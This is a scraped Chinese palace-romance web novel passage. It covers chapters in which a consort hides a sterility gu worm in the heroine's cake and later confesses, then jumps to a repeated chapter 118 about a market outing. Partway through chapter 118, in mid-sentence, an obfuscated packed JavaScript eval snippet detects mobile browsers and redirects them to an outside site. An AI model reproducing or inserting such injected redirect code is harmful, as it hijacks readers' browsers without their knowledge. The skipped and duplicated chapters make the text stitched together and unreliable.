姜念秋不是傻子,从他的只言片语中觉察出些许不对劲来。 她眯了眯眼,从矮凳上起身,一言不发地走到季寰身边,然后蹲在他身前,仰着脑袋一动不动地盯着他。 “做什么?” 姜念秋轻轻叹口气,她的眼眸被火光印衬得带着些暖暖的黄光:“皇上,臣妾看不透您。” 君心当然难测。 倘若君心被轻易看透,他置于何位! 可此刻,季寰更想知道的是,姜念秋是否知道了他的深刻用意:“说来听听?” 姜念秋大剌剌地扶着季寰的大腿站起来,一屁股坐在了最近的石凳上。 二人靠得不算远,但因为深夜寂静,还能听见点儿柴火劈里啪啦燃烧的声音。 她的眉间微微皱在一起,看着极其不解:“是您说的呀。” 他说什么了? “您以前说的话那意思是想让臣妾在后宫之中多些知己,臣妾当然要好好招待娘娘,但听您这意思倒像是不想臣妾和德妃娘娘一处似的。” 这姑娘精一半、傻一半。 连季寰都被她弄得不知道该怎么回应了。 她明明听出来他要她远离德妃,可这丫头怎么学不会因地制宜这句话呢? 难不成每个人的交往方式都要照搬全抄么? 若是把话说得太透亮了,反倒姜念秋不信。 不如留个白,叫她自己琢磨去。 季寰略微有些头疼,长叹一口气:“朕没那意思,只是教你,同人交往存个后路。” 姜念秋愣了愣,傻傻地看着季寰。 她的耳朵应该没什么问题。 有生之年能听见皇帝亲口教授她为人处世的道理,真是不枉此生! 那种被人照顾的温暖瞬间把姜念秋眉间的褶皱抚平。 女子起身,一步跨在季寰身前。 她居高临下,微微俯下身子,在季寰额前落下温柔一吻:“臣妾没那么傻,皇上且坐着,蛋糕马上就好。” 这一炉她一定要烤好,先感谢一下季寰! 可惜,季寰心里憋着的事儿没被弄懂,还是憋闷。 他摆摆手,独自一人往寝殿里走去:“朕晚膳吃饱了,你自个儿用就好。” 小翠和秋雁全看向姜念秋。 心想,皇上要自己休息,主子您不表示表示? 她们这位主子还真是脑子异于常人。 姜念秋当真没管,折返回去照看炉子去了,还吩咐小翠道:“小翠,伺候皇上歇息。” 没办法了,主子的脑袋是榆木脑袋。 还好是小翠和秋雁联合着劝人,才让姜念秋回去伺候皇上。 第二日,季寰照旧自个儿先行起床,上早朝前专门叮嘱了密卫:“德妃常来,你多费心盯着,若有什么不对劲的,一定要早些报朕。” 丫头是个傻乎乎的。 让人家作害了,只怕还乐呵呵地给人家数钱呢! 与其如此,倒不如他在暗中铺一条道给她。 密卫颔首:“微臣明白。” 到了老妇提及蛊虫成熟的那一日,德妃看过兰台宫宫女送来的帖子,面上没有一丁点儿面见姜念秋时的温和。 她起身径直往偏殿去了,直奔主题:“蛊虫如何?” 侧殿之中,已经不再布置着供养蛊虫的架子了。 那老妇盘着腿,在榻上对着曾经装着蛊虫的锦盒念叨着什么话语。 直至咒语念完,她才下来在德妃面前行礼:“回禀娘娘,蛊虫已至顶峰,是日子了。” 这一天,蛊虫能够发挥出最大的效果。 德妃深吸一口气,望向递到自己面前的盒子。 只见盒子里的蛊虫肥硕到动弹不得了,面朝天仰卧着,触手翻动着。 光是看着也觉得恶心。 有一点和老妇说得不错,蛊虫确实不大,只有三分之一的小拇指指甲盖那么大。 若是混入食物之中,定然无人注意。 德妃伸出手接过锦盒,将锦盒扣牢:“好,本宫这就动身。” 说罢,她拂袖而去。 老妇这时才冲着德妃离开的方向跪下,郑重其事地说道:“恭祝娘娘心愿得偿!” 很快,便有宫人将老妇从后门运送离开。 在赴约路上,玉阳手心里全是汗。 她小声地劝道:“娘娘,咱们这么一去,可就真没有回头的余地了。” 第106章 险些成事 第一百零六章 险些成事 闻言,德妃停住了脚步。 她抬起头,望向了那四四方方的天。 当父亲告知她,她要选秀入宫的那一刻起,德妃的心就全寄托在皇上身上了。 就算是家中推她入宫乃是另有安排和所图,但德妃还是在见到皇上的第一眼起便深深陷进去。 她渴望着季寰的靠近。 也不容许任何人能独占他。 德妃握紧了袖中的锦盒,眼神坚定无比:“本宫为了皇上,早就没有回头的余地。” 与此同时,季寰刚刚下朝,察觉到御书房外有密卫留下的印迹。 他谨慎地对李德全道:“你在外头候着,莫要让任何人靠近。” “奴才明白。” 进入后,密卫着急道:“皇上,德妃娘娘宫中竟请了虫师,微臣潜入看过养方,竟是断嗣蛊。” 季寰瞬间脑子一炸。 他的思考果真没出错,德妃有问题! 他可不相信断嗣蛊是德妃给自己准备的。 那么……后宫之中此刻能叫她这般“用心”对待的人,就只有一个! 季寰沉声问:“人呢?!” 密卫深深埋着头,有着愧疚:“德妃娘娘已将虫师送走,虫师不知踪迹,德妃娘娘去了兰台宫。” 德妃宫中的构造同别处不同,密卫想要潜入已是万分困难。 想要时时刻刻盯着动向更是难上加难。 他也很无奈。 季寰一听德妃去了兰台宫,瞬间慌了神,后脊梁挺直到僵硬,冲着外头喊道:“摆驾,去兰台宫!” 兰台宫内,姜念秋从小火炉里掏出来一炉香喷喷的蛋糕。 还别说,出来的蛋糕形状根本不亚于外头蛋糕店做的。 得亏系统这家伙没那么藏着掖着,把改良版的给她做了个提醒,比西洋人上贡的配方还要好吃。 姜念秋的成就感溢于言表:“成了,小翠,昨儿个我叫你送帖子给德妃娘娘,你可送去了?” 小翠看看时辰:“奴婢做事,主子放心,想必已经快到了。” 说时迟那时快,德妃立刻出现在了兰台宫门口。 她笑着走过来,还不忘赞美她宫中弥散开来的香气:“隔着好远就闻见兰台宫的香味儿了!” “德妃娘娘金安,正说着娘娘,娘娘就来了。” 德妃上前拉着姜念秋的手,很是亲昵地拍了拍:“这可不是心意相通了?” “娘娘,臣妾今儿个烤了个西洋的玩意儿,所以才特邀娘娘来尝尝,”姜念秋指了指摆在那儿的蛋糕,“只因这东西得现烤出来的味道更好,才不懂规矩地叫娘娘挪动。” “妹妹一番好手艺,本宫走走又有什么?” 二人坐下,姜念秋切出一小块来让德妃先尝尝看,其余的凉透了做奶油抹面。 等尝了第一口,德妃真心实意地赞叹道:“妹妹果真厉害,怪不得皇上一时间心上口上全然不忘呢!” 没想到宜妃真有些本事。 只可惜,她很清楚季寰不喜甜食。 姜念秋正要说季寰没吃过,见秋雁在收拾她昨夜撑起来的蚊帐。 但动作不太规范,险些要把蚊帐撑坏。 姜念秋赶紧道:“秋雁,那个我来,你招待好德妃娘娘!” 这时候的蚊帐和现代的不同,通体是用竹子做的。 韧劲儿足,也带有一定的危险性。 秋雁还没来得及转身过去,便见姜念秋差点儿被弯得过度的竹子戳到:“主子当心!” 正当小翠和秋雁都着急姜念秋那头的时候,德妃下手了。 当真奇特,那蛊虫接触到蛋糕的瞬间,竟然化形了。 德妃看着无影无踪的蛋糕,松了一口气。 姜念秋回来时,德妃事先安排好的小宫女跑进来告知宫中有急事发生,她正好找到理由顺势逃离。 “妹妹啊,我宫里有些事儿急等着我处理呢,不如我带些回去,也算全了妹妹一片心意。” 就算是一番心意很有可能就这么浪费了,姜念秋也不能拦着人家不让回去吧? 她只能是有些遗憾地说:“好吧,那臣妾不耽误娘娘。” 说完,又叫人将德妃的那一块儿包起来递给玉阳。 出了兰台宫后,德妃紧张得手指尖亦在抖着。 这是她头一次做如此狠辣的事儿。 断绝女子后代,还是后宫女子,不害怕是不可能的。 由于心里有鬼,导致她失魂落魄,以至于独自撞上了季寰,才惊慌失措地回过神来。 “臣妾参见皇上,臣妾惊扰圣驾,臣妾有罪。” 季寰眉眼未动,只是盯着德妃,语速略微快了些:“不妨事儿,德妃这么行色匆匆是要去哪儿?” 德妃眼珠子哗啦啦地转动着,殊不知居高临下的季寰将她所有的不自在全部收入眼底。 “臣妾、臣妾的宫中出了些急事儿,惊扰圣驾是臣妾的过失。” “你……从兰台宫出来?” 这个方向很难辨别是去还是回。 “是,臣妾辜负了妹妹今日的一番美意,改日再来赔罪。” 季寰心头一顿,看向德妃的眼神瞬间变了。 他背在身后的右手死死掐住衣角,声音低得仿若是从深渊之中而来的:“她一向大度,你既是有事儿,那便去吧。” 德妃听得季寰的语气,察觉到什么。 她抬起头来,和季寰的眼神有一刻的对视。 仅仅是一刻,便被那眸底的冷漠寒光冰到浑身血液倒流。 德妃 不敢有丝毫的迟疑,赶紧克制着颤抖的声线道:“臣妾告退。” 季寰来不及停留,迅速往兰台宫方向跑去。 此刻,姜念秋正好坐在石桌前,看着还尚未装点的蛋糕,她叹了一下气。 算了,我自己享用也是一样的! 怎么说都是宝贵的劳动成果呢! 要动勺子的时候,系统幽幽地对着她说:【你吃吧,你就这么吃下去,德妃得在宫里笑出声来。】 姜念秋手上动作顿住,下意识地看向香香软软的蛋糕:【这是什么意思?】 自己烤的蛋糕,还不能吃了? 这和德妃又有什么关系啊? 赶到了兰台宫院墙边的季寰听见这两句话后,放缓了脚步,然后在距离宫门口还有些距离的地方听了下来。 系统提醒了,她应当还没吃下去! 他的呼吸错杂,彰显着此刻的慌乱。 周围的宫人全部回过身子,避讳圣颜。 第107章 离开 第一百零七章 离开 系统对于姜念秋的警惕程度真的很无言,连提醒的语气都变了:【你眼神儿可真差,人家当着你的脸儿把东西下进你蛋糕里,你都没察觉?】 它本来以为,来到后宫中这么久,姜念秋好歹能够对自己的吃食上头多加注意些。 没想到,她竟然还是这副模样。 贵妃信信也便罢了,可德妃她才认识多久,也全然相信? 姜念秋怔住,看向蛋糕。 【你是说……蛋糕里有毒?】 刚才还没注意,直到此刻被系统一提醒,她才发觉了不对劲的地方。 奇怪了,这蛋糕上面怎么会有个洞的?! 那个洞看着要比烘烤出来的气孔大上一些,不是仔细看还真发现不了。 顺着那个洞用勺子挖开,只见里头有一根很小的虫子在蠕动。 姜念秋倒是不怕虫子,就是看见虫子的形态会反胃。 与此同时,系统提示道:【这是德妃专门弄出来的蛊毒,对付你的。】 闻言,姜念秋跟被人当着后脑勺打了一闷棍没什么区别。 不是…… 德妃前几天不是还在和她扮演着亲亲姐妹的戏码吗? 怎的今儿个就让系统抓住把柄了? 这种被人背刺的感觉姜念秋倒是熟悉,就是长久没尝试过,有种不太敢相信的感觉。 看来,当时德妃在御花园里救她根本就是计划好的吧。 怪不得那天之后,季寰一个劲儿地跟她说些她听不明白的话。 不听君王言,吃亏在眼前哦! 系统接着给她科普:【你体内寒凉,要是真吃下去,别管太医多少补身子的药灌进肚子里,一年半载只怕是和孩子彻底无缘了。】 本来姜念秋都准备要把那块儿蛋糕,连带着里头的虫子一起给扔了。 但捕捉到了关键词,她又收回了手。 刚刚系统说什么? 这蛊虫还有生不了孩子的效果? 呀,德妃该不是心生嫉妒,不想让她有孕,所以才装作和她投缘靠近的吧? 细细想来,这种可能性是最大的。 【那如果我把蛊虫扔了,只吃外头的蛋糕会没事儿吗?】 【同理。】 那蛋糕已经被蛊虫爬过,蛊虫分泌汁液已然沁入蛋糕之内。 就是效果远远不及吃下蛊虫所带来的明显。 听完系统的解说,姜念秋直接用勺子把蛊虫挖了出来,用茶盏给压死了。 “小翠,茶盏脏了,帮我换一个。” 小翠拿走茶盏后,姜念秋掰了掰蛋糕,琢磨着从哪个地方开始下手。 系统很是不解:【喂!我不是说了和孩子无缘么,你干嘛还挖呀?】 不光是系统震惊,站在宫墙外的季寰同样心头一跳。 她……准备吃下那蛋糕? 就像是被硬生生地钉在原地,季寰完全没办法动弹。 跟在他旁边的李德全奇怪极了,方才皇上急得和什么似的,转眼间就冷静下来,发生什么了? 姜念秋很是不以为意,挑了一块儿靠近蛊虫的蛋糕,分割成一小块一小块儿地才不至于犯恶心。 【只是不生孩子,又没别的问题,没事儿吧?】 这话令季寰脑子嗡鸣了一瞬。 他听见了什么话?姜念秋亲口和系统说,只是不生孩子? 不对,怎么会是这样? 当初不是说不想身子虚寒的时候有孕吗? 这回怎么一听说吃下蛋糕难有身孕反倒如此积极呢。 季寰抬脚,想要冲进去问个明白。 可很快,兜头的一盆冷水浇得他浑身湿透。 对啊,他怎么忘记了,当初太医说她身子虚寒难以有孕之时,姜念秋就是无所谓的态度的。 看来,根本不是她转变了想法,而是从一开始到现在,她都在欺骗自己。 突然间,冲进去质问的想法全然没有了。 季寰收回脚,不再注意宫墙之内隐隐约约的对话,转身对着李德全道:“走吧,回正清宫。” 他脸色淡漠,一如从前。 李德全转不过来这个弯儿来,皇上……是怎么了? 兰台宫内,系统赶在姜念秋将要吃下那块儿蛋糕前出声道:【我可劝你,你吃了这些影响的不是一星半点。】 吃东西的动作及时刹车,姜念秋险些就闪了舌头。 它就不能一次性把话说完么,非得折腾她一下啊? 【什么意思,详细说说?】 【听我说吗?你以前没看过中了蛊毒的电视剧?】系统以为她自己知道的,还有些惊讶于姜念秋不愿意怀孕的勇气。 没想到是压根儿不清楚啊。 系统将蛊虫毒发的惨状给姜念秋仔仔细细地描述了一遍。 仅仅是叙述,那种惨烈就跟亲身经历了一样。 在这艳阳高照的时候,姜念秋居然打了个冷战。 系统幽幽地问她:【还吃么?】 姜念秋嘴角抽抽:“诶呀,算了算了,我不吃不就行了?” 随后,她叫人把那蛋糕给销毁了,自己又开始重新准备食材再烤一个。 期间她还专门交了为自己诊治的太医上门来。 被发现的下毒是这么一回,那没被发现的呢? 还好,太医诊治的结果是她身子有所好转,该好好继续喝药、吃药膳。 正好蛋糕出炉,姜念秋想起上次皇上没来得及吃,这次技术掌握得很好,就给季寰也留一些。 令她有些意外的是,到了用晚膳的时候,季寰仍旧没有出现。 蛋糕凉了。 入夜,太监举着盛着绿头牌的托盘在御书房跪了许久都没等到季寰发号叫人进去。 那太监实在忍不住了,央求李德全帮忙通告一番。 李德全小心翼翼进去提醒:“皇上,到了翻牌子的时候了。” 皇上以往要么早就去了兰台宫,要么也会给个意思叫太监撤下去。 可从来没有这样子盯着奏折看,半句话都没有的时候。 这样下去,肯定会累垮身子的。 闻得李德全说话,季寰连头都没抬:“不必了,告诉他们,朕今晚宿在正清宫。” “……是,奴才领旨。” 出去后,两个太监纷纷奇怪。 皇上今儿个太过反常,这是生了宜妃娘娘的气了? 可宜妃什么都没做啊! 圣上的心思实在太难猜着,李德全一个能猜的着三四分的人也谨慎起来。 待到深夜,季寰再次叩了叩桌子,示意加浓茶。 李德全按照原来宜妃叮嘱的,劝了劝:“皇上,您再喝浓茶可就睡不着了。” 第108章 噩梦 第一百零八章 噩梦 季寰抬眼,人有些恍惚,似乎李德全说的这话……她也说过。 他眯起眼,合上奏折,愣了一会儿才问李德全:“李德全,朕是不是太宠着宜妃了?” 纵得她不知天高地厚,竟然敢在皇家子嗣上欺骗他。 李德全后脊梁发麻,这话该怎么回答呢? 后宫之中,谁人不知皇上喜爱宜妃,此刻皇上竟开始反思这份偏爱了? 李德全斟酌着说:“皇上,宜妃娘娘冰雪聪明,又会讨您欢心,您宠爱也是应当的。” 姜念秋是聪明的吗? 他为什么感觉不到了呢? 如果她真的聪明的话,为何猜不到他要的是什么。 可他又觉得姜念秋太聪明了,她聪明到一次又一次利用他的狠不下心。 既然如此,那他还宠着? 宠着一个不愿意为他生儿育女的妃子? “是么?”季寰苦笑,继续拿起奏折看,“照样倒浓茶来。” 他这般屡屡破除祖宗规矩爱护一个女子,不想一片真心换不来她的些许真心。 罢了,权当是他一场癔症。 夜逐渐深了,后宫中少有仍亮着烛火的宫室。 兰台宫算一个。 姜念秋抱着膝盖靠在床头,乌黑长发垂落,罩住她大半个身子。 在发间,藏着睡着的一张人畜无害的小脸儿。 今日是小翠守夜,她见时辰不早了,便托了人去问问皇上今日宿在哪里。 问话的人回了话,小翠叹口气,轻手轻脚地进了寝殿。 她缓和地吹灭了七八根蜡烛,屋子里便暗了许多。 许是蜡烛晃的,姜念秋醒了过来。 她稍微动动身子,发现半边都麻着,小翠过来帮她按了按。 随后,床帘落下,小翠压低声音道:“主子,您歇息吧,奴婢问过了,今儿个皇上哪宫都没去,在正清宫歇下了。” 姜念秋迷迷糊糊地听见季寰没来,她揉揉眼睛,果真是寝殿内除了她们主仆二人别无他人了。 不知怎的,心里突然空落落的。 很快,困意重新席卷姜念秋。 她打了个哈欠,不知道说话时带着的酸劲儿是哪儿来的:“哦,不来也好,我还省心了呢。” 她小腿一踹,把床板踢得砰的一声,翻身过去:“睡觉。” 小翠小声笑了下,主子这是吃皇上的委屈呢。 不过,这次皇上没来,小翠总觉得怪怪的。 和姜念秋没睡着的理由不同,德妃是翻来覆去心慌,怎么也睡不着。 玉阳明白德妃,于是取了些羊奶给她安神。 喝过羊奶后,德妃照旧是无法安睡,只能让玉阳睡在阶下二人说说话儿。 德妃迟疑着,手不自觉揉着被面儿:“玉阳,你说那蛊毒……是不是特别厉害?” 她只是问过虫师她所求是否能够如愿,从未问过那蛊虫会不会带来什么副作用。 玉阳停顿住。 娘娘这是心里怀着愧疚了? 玉阳实话实说道:“臣妾问过虫师,虫师说那蛊毒在刚刚吃下的时候会有些腹痛,但还尚且能忍,但人睡着后蛊虫会越发涌动,撕心裂肺,这效果直至第二日一早才会消散。” 疼上那么一整晚后,蛊虫便能在身体里扎根。 效果会长久存在,直至蛊虫死亡。 而蛊虫是靠着吸食人的血气生存,能活几何谁又能知晓呢? 听完,德妃背后突起一阵又一阵的恶寒。 她将手拿回被子里,环抱着自己。 玉阳见状,以为是德妃觉得冷,替她又掖好被子,换了新的汤婆子在脚下暖着。 待到玉阳重新在塌边坐下,德妃开口道:“玉阳,本宫是不是觉得太狠毒了?” 姜念秋年岁比她还小,虽说是个庶女。 可怎么说也是一条人命。 玉阳抿唇,低着头不敢看她:“娘娘……您也是不得已……” “今儿个太医可有去兰台宫中?” 如果兰台宫没请太医,是不是证明蛊虫没进她体内呢? 可惜,玉阳点了点头:“臣妾听闻在您走后不久,兰台宫宣了太医进殿,呆了好一会儿。” 至于内里实情,谁也没办法打听出半分来。 德妃身子抖了抖。 她睁着眼盯住床帘之上的鸳鸯刺绣。 她没错!她不过是想要铲除掉皇上身边的女人罢了。 自古以来,为了争宠,有多少人都做过,手段比她狠辣的多了去了。 没必要为这事儿心烦! 德妃企图说服自己:“既然已经做了,本宫不后悔!” 说罢,德妃强行闭上眼入睡,但她一直在颤抖的睫毛泄露了真实心境。 玉阳什么都没说,将床帘拉得严严实实的,以免主子着凉。 翌日,姜念秋早起还是该干什么干什么,直至晚上,她竟在不知不觉间往门口去看。 那小动作被小翠发觉,她咬着唇,在后面憋笑呢! 姜念秋自然捕捉到了,她不自在地挑眉:“笑什么呀?” 偏偏兰台宫的这两个小宫女已经被姜念秋养“刁”了。 无论是小翠还是秋雁,她们都不怕姜念秋会和自己翻脸。 小翠靠近主子,俯首说:“奴婢看您真像极了望夫石!” 从前一听见皇上要来就浑身不舒服的人,如今也能做出向门口张望的事儿了。 岁月可真是个奇异的东西。 小翠一番话成功把姜念秋的脸颊给烧红了,她抬起手佯装着要揍小翠一巴掌:“作弄到我头上来啦?找打呀?” 二人嬉笑着,在兰台宫中来回玩闹。 这一天晚上,季寰依旧没来兰台宫,问也问不出个什么。 姜念秋虽然心里闷闷的,但好歹算是放假,她倒是早早睡下,睡眠美好。 可德妃却惨了。 本以为前一天没怎么睡好,转天能睡个安稳觉。 谁知道睡梦之中竟梦见了血腥一幕。 是姜念秋腰下沾血的衣裙,是她捧着已经成型的孩子朝自己而来,是姜念秋口口声声说是她下的蛊虫将腹中孩儿打落。 德妃经受不住,尖叫着从梦中惊醒。 玉阳听见响动,连忙掀开床帘进去:“娘娘?” 看见的是满头大汗、胸膛剧烈起伏、脸色惨白的德妃。 有人进到床铺,叫德妃好不惊恐,见是玉阳才缓缓冷静下来。 只有她自己知道,她浑身血液如同被抽走了。 德妃扶额:“水,给本宫倒杯水来。” 第109章 坦白 第一百零九章 坦白 玉阳倒来一杯温热的茶水塞进德妃手中,拿羊毛毛巾轻柔地擦拭去德妃额前的冷汗。 温热茶水入喉,浅短地润了润她的喉间。 德妃递给玉阳茶杯时,手指间都在颤抖着。 玉阳看着,心里揪了一下,犹豫着问她:“娘娘。您是不是做噩梦了?” 若不是做噩梦了,又怎会吓成这样子? 方才梦中的每一幕都叫德妃心惊胆战。 她迟钝地点了点头。 玉阳急不可闻地叹息,她是从小跟着德妃娘娘的,后来又跟着娘娘入宫,是最了解她心性的人。 虽说娘娘有时不愿与人分享,可娘娘的心比宫中之人都良善许多。 没等玉阳劝说,德妃自己倒是先说了一句话:“玉阳,明日一早,你同本宫去一趟兰台宫吧。” 她不想日日被噩梦缠身。 不如为做下的孽认个罪。 姜念秋要打要骂都成,她全受着。 听完,玉阳心中如释重负,她点头:“奴婢遵命,眼下奴婢先去温一碗羊奶,娘娘喝了好安枕。” 其实,玉阳一早就知道德妃一定会后悔。 下了蛊毒当日,德妃一直在发呆。 会自己坦白一切,不过是时间问题罢了。 第二天一早,姜念秋睡得特别好,早起还亲自摘了桂花,要给小翠她们做桂花牛奶。 相反,德妃眼下有着浓厚到不像话的乌青,乃是一夜未曾好眠的证明。 去到兰台宫中,刚到门口便听得姜念秋在和下人们说笑:“这样子肯定会更加好吃的!” 秋雁是最先发觉德妃在外面的。 她愣了愣,走到外头亲自去迎:“娘娘来了怎么没进去?” 以往德妃可从来都是直接走进去的。 这回怎么在外头盯着里头看? 德妃心中有鬼,连扯出来的笑容都很勉强:“是我唐突,还得烦姑娘帮我通传一声。” 突然间的生疏令秋雁有些许警惕,但没表露出来:“……是,奴婢这就去。” 进去后,秋雁附在姜念秋耳边说道:“主子,德妃娘娘在外求见。” 搅动锅中牛奶的手停了下来。 姜念秋缓缓抬起头,似在思考什么事儿。 过了一会儿,她笑了笑,对小翠说道:“小翠,你把宫里人都遣散,接下来不用他们伺候了。” “是。” 小翠和秋雁各自去带人,把兰台宫空了出来。 与此同时,盯着德妃的密卫在御书房守着,待到季寰一下朝,便汇报:“皇上,微臣盯了德妃娘娘一夜,今早德妃娘娘去了兰台宫。” 季寰眉间皱起来。 心里说着不在意,可又觉得德妃既然能下毒,那就还能做出更多的事儿来。 姜念秋是该打该杀的,可如果就这么死在德妃刀下,始终便宜了她。 几乎没有丝毫的犹豫,季寰赶紧转身:“摆驾兰台宫!” 兰台宫内,姜念秋听着德妃长长裙摆拖地的沙沙声,唇边有个很细微的弧度。 她还以为德妃跟那些个宫嫔一样心狠呢。 看来,并不是。 正好桂花牛奶滚了,姜念秋便将小壶从炉子上取了下来,亲手为德妃倒了一杯。 “娘娘这么早来,想是前些天的急事儿处理完了?” 哪里来的急事儿,不过是她想要脱身寻得的借口罢了。 德妃被这么一点,人又是微微颤抖。 眼前人指了指石桌旁的另一个凳子,示意:“德妃娘娘不如坐着说话吧。” 即使姜念秋什么都没说,可德妃就是觉得她什么都知道。 她悄悄去看姜念秋的脸色,发觉红润细腻。 是不是蛊虫对她无效呢? 德妃心里又在坦白和做戏之间左右摇摆。 可当她有所退缩时,噩梦血淋淋的场景便在她眼跟前浮现。 再被折磨得整晚整晚睡不着,她迟早会死。 德妃心一横,结巴着道:“是,我……我前些天没能陪妹妹一起,近日是来赔罪的。” 只是为了没陪她吃一顿小蛋糕来赔罪? 姜念秋闻言,没忍住,扑哧一声笑了出来。 她抬眼,看着距离自己两三米远的德妃。 真想拿个镜子给德妃照一照,让她看看自己心虚的脸。 既然都来了,不如就此把话说开。 姜念秋收了笑容,长长叹口气:“德妃娘娘,您这出戏唱得气太长了,其实完全不需要。” 还专门为她筹谋了大半个月。 何必呢? 她要是说了,姜念秋没准儿会先跟她坦白无法怀孕的事儿呢。 德妃已然跟不上姜念秋的节奏:“宜妃这是什么意思?” “娘娘想要的,不就是臣妾生不出孩子吗?”姜念秋歪着头,很是无所谓地说道。 那无所谓的语气,落在刚刚赶来的季寰耳中,极尽讽刺。 他藏在门遮前,将二人的话听得一清二楚。 “你……” 德妃愣住,喉咙如同被遏制住,半句话都说不出来。 怎么会这样,姜念秋是怎么知道的? 虫师可是说了,她有把握不让任何人知晓的! “娘娘不必问我是怎么知道的,毕竟有句古话说,要想人不知除非己莫为。” 就是因为德妃做了亏心事儿,所以她才会眼下黑眼圈那么严重。 估计有两天没睡好觉了。 别做亏心事,省的半夜鬼敲门,这句话的含金量还在上升。 姜念秋自顾自喝下桂花牛奶,没理僵硬在那儿的德妃。 嗯,牛奶就是比羊奶合她的胃口。 姜念秋整整饮下一大杯后说道:“娘娘多虑了,我本来也没想要生孩子,若不是蛊毒副作用强我还真就吃了。” “什么?你说什么?” 宜妃竟然不想生孩子?! 德妃惊愕地望向姜念秋,没料想过事态竟然会这般发展。 藏着的季寰就跟心上被捅了一把刀一样,听她亲口说出,和在心里同系统的对话完全是两种感觉。 锥心刺骨的痛意乃是如此明显,导致他木楞到后面的话一句都没听清楚。 李德全是跟在季寰身边的,震惊到眼睛要掉在地上。 宜妃娘娘竟然不想要皇上的孩子? 后宫中,有谁不想身怀帝裔,过着母凭子贵的日子。 可宜妃娘娘居然反其道而行之? 难不成,这两天皇上的反常,是察觉了此事才那般的? 第118章 真实面目 第一百一十八章真实面目 若不是听她亲口说喜爱,季寰真的以为他买东西买错了。 姜念秋眨巴眨巴长长睫毛,眉毛又变成了倒八:“您瞧出来啦?” 还用瞧么,全在她脸上写着呢。 满脸都写着:我并不是那般欢喜。 季寰无奈,没有明说。 二人站在街上总归不是个说话的地儿。 他们找了个茶楼坐下,待一壶上好龙井上来后,只有姜念秋喝了那茶水。 季寰不过闻了闻就放下了。 他才是真真喝不惯这种茶。 反倒是姜念秋,觉得都是解渴用,没什么两样。 她趁着周围没什么人,才将内心的想法和盘托出:“我不是因为三爷买给我这么好的东西而不高兴,就是我想着还能还还价什么的……” 那摊主摆明了就是不怎么懂货。 虽然说给他五两金子也是和玉佩价值勉强相抵,可是那摊主显然并非以这个价格来买卖的。 季寰这么做,不就是被当成了冤大头么! 姜念秋怎么能忍受得了这种事情发生! 奈何他给钱给的实在太过畅快,根本没给姜念秋施展“才华”的空间。 叫她出手,玉佩的价格能减下去三分之二! 家大业大,也得精打细算地过嘛! 她心里这么想,竟然也就说顺了嘴说了出来。 闻言,季寰先是怔愣片刻,随后手肘撑着桌子扶额,都笑出了声。 那爽朗的笑容光是听着都悦耳。 可姜念秋没感觉这有什么好笑的。 不解地问:“您笑什么?” 倒不是这事儿有多好玩儿,而是季寰觉得新奇。 姜念秋不因为东西足够便宜而不高兴,反倒是因为他没给她和摊主有来有回地讲价而不快。 这在他见过的所有女子之中,都是见也没见过的存在。 季寰摆摆手,终于是笑够了。 他温热的掌心贴在姜念秋的手臂上,轻声哄着她:“这么说来,是我没什么经验,下次由你来讲,如何?” 姜念秋凝视着那张还残留着笑容的俊颜,心跳漏了一拍。 果真是美男一出手便知有没有。 更何况是个“知错就改”的有钱有势的大帅哥。 什么不高兴全被姜念秋跑到了九霄云外了。 她重重点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821855|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一只手还不忘握住季寰的手背,语重心长地说道:“这才对嘛,家大业大,也不能浪费丝毫!” 季寰再一次被逗笑。 他还是头一次见着劝说叫他不要浪费的女子。 虽是新奇,却也说得是有道理。 他看向姜念秋的眼神之中又多添了一层深意。 心结解开了,姜念秋在集市上玩儿的便更加上劲儿。 她一连买了好多小吃,那架势就跟要把街市上的东西全塞进肚子里一样。 可集市那么大,怎么能叫她轻易如愿。 姜念秋生怕马上就又要回到船上,双手合十求他:“三爷,我们能晚些再去下一个驿站吗,我想在这儿多呆会儿。” 此刻已经是逛了足足一白天的人了。 可她依旧不见丝毫疲态,倒是季寰,看完了百姓生活常态后,并不想多穿梭在人群之中。 太挤了。 甚至还有女子将身子故意往他这边挤,密卫们也不好直接把人推开,全靠着季寰躲避。 到后来,完全是密卫把季寰和姜念秋围成了一个圈儿。 此等尴尬的事儿,季寰更不愿同姜念秋说起。 只是…… 第118章 真实面目 第一百一十八章真实面目 若不是听她亲口说喜爱,季寰真的以为他买东西买错了。 姜念秋眨巴眨巴长长睫毛,眉毛又变成了倒八:“您瞧出来啦?” 还用瞧么,全在她脸上写着呢。 满脸都写着:我并不是那般欢喜。 季寰无奈,没有明说。 二人站在街上总归不是个说话的地儿。 他们找了个茶楼坐下,待一壶上好龙井上来后,只有姜念秋喝了那茶水。 季寰不过闻了闻就放下了。 他才是真真喝不惯这种茶。 反倒是姜念秋,觉得都是解渴用,没什么两样。 她趁着周围没什么人,才将内心的想法和盘托出:“我不是因为三爷买给我这么好的东西而不高兴,就是我想着还能还还价什么的……” 那摊主摆明了就是不怎么懂货。 虽然说给他五两金子也是和玉佩价值勉强相抵,可是那摊主显然并非以这个价格来买卖的。 季寰这么做,不就是被当成了冤大头么! 姜念秋怎么能忍受得了这种事情发生! 奈何他给钱给的实在太过畅快,根本没给姜念秋施展“才华”的空间。 叫她出手,玉佩的价格能减下去三分之二! 家大业大,也得精打细算地过嘛! 她心里这么想,竟然也就说顺了嘴说了出来。 闻言,季寰先是怔愣片刻,随后手肘撑着桌子扶额,都笑出了声。 那爽朗的笑容光是听着都悦耳。 可姜念秋没感觉这有什么好笑的。 不解地问:“您笑什么?” 倒不是这事儿有多好玩儿,而是季寰觉得新奇。 姜念秋不因为东西足够便宜而不高兴,反倒是因为他没给她和摊主有来有回地讲价而不快。 这在他见过的所有女子之中,都是见也没见过的存在。 季寰摆摆手,终于是笑够了。 他温热的掌心贴在姜念秋的手臂上,轻声哄着她:“这么说来,是我没什么经验,下次由你来讲,如何?” 姜念秋凝视着那张还残留着笑容的俊颜,心跳漏了一拍。 果真是美男一出手便知有没有。 